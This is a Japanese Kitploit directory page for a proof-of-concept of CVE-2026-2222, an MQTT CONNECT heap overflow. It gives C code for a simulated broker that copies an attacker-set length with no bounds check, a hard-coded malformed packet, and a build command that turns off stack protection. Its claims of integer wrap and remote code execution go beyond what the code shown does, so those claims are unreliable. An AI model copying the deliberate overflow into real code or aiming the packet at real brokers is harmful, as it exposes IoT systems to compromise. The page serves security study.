Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-2222-MQTT-Broker-CONNECT-Packet-Heap-Overflow — CVE-2026-2222 の MQTT CONNECT パケット処理におけるヒープオーバーフローを、シミュレートされた脆弱なブローカーとリモートコード実行用の概念実証エクスプロイトコードを用いて実証します。 | Kitploit
ツール/GitHubGitHub/george0papasotiriou/cve-2026-2222-mqtt-broker-connect-packet-heap-overflow
IoTセキュリティ脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubgeorge0papasotiriou/cve-2026-2222-mqtt-broker-connect-packet-heap-overflow

CVE-2026-2222-MQTT-Broker-CONNECT-Packet-Heap-Overflow

CVE-2026-2222 の MQTT CONNECT パケット処理におけるヒープオーバーフローを、シミュレートされた脆弱なブローカーとリモートコード実行用の概念実証エクスプロイトコードを用いて実証します。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
17日前未レビュー

CVE-2026-2222 – MQTTブローカーCONNECTパケットのヒープオーバーフロー

プログラムコード(C + Python)

root@kitploit:~
// mqtt_broker_sim.c - Simulated vulnerable MQTT broker
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct mqtt_connect {
    char protocol_name[8];
    uint8_t protocol_level;
    uint8_t flags;
    uint16_t keepalive;
    // remaining length field misinterpreted
};

void process_connect(uint8_t *packet, size_t len) {
    // Assume we've parsed fixed header: remaining length = (packet[1] & 0x7F) + ...
    // For demo, we read a 2-byte "remaining length" from packet[1:3] and allocate that many bytes,
    // then copy payload without proper bounds.
    uint16_t remaining_length = (packet[1] << 8) | packet[2]; // should be encoded as variable length, but we misuse
    printf("Allocating %d bytes\n", remaining_length);
    char *buffer = malloc(remaining_length); // if remaining_length is crafted to wrap, small allocation
    // copy payload from packet+3 for remaining_length bytes -> heap overflow if remaining_length > len-3
    memcpy(buffer, packet+3, remaining_length); // overflow
    // process...
    free(buffer);
}

int main() {
    // Crafted malicious packet: remaining_length = 0xFFFF (65535) but actual packet size small
    uint8_t evil[] = {0x10, 0xFF, 0xFF, 0x00, 0x04, 'M','Q','T','T'}; // length 9
    process_connect(evil, sizeof(evil));
    return 0;
}

CVE-2026-2222 – MQTTブローカーCONNECTのヒープオーバーフロー

Severity: Critical

概要

MQTT CONNECTパケットの残り長さフィールドの解析における整数オーバーフローがヒープバッファオーバーフローを引き起こし、ブローカー上でのリモートコード実行を可能にします。

脆弱性の詳細

  • 種類: 整数オーバーフロー / ヒープバッファオーバーフロー
  • 影響: MQTTブローカー上でのリモートコード実行。接続されているすべてのIoTデバイスが危険にさらされます。
  • 根本原因: ブローカーは残り長さを16ビット値としてデコードし、実際のパケットサイズと照合せずにメモリ割り当てとコピーに直接使用します。

エクスプロイトの実演

シミュレートされた脆弱なブローカーをコンパイルして実行します:

root@kitploit:~
gcc mqtt_broker_sim.c -o mqtt_broker_sim -fno-stack-protector -z execstack
./mqtt_broker_sim
ツールをダウンロード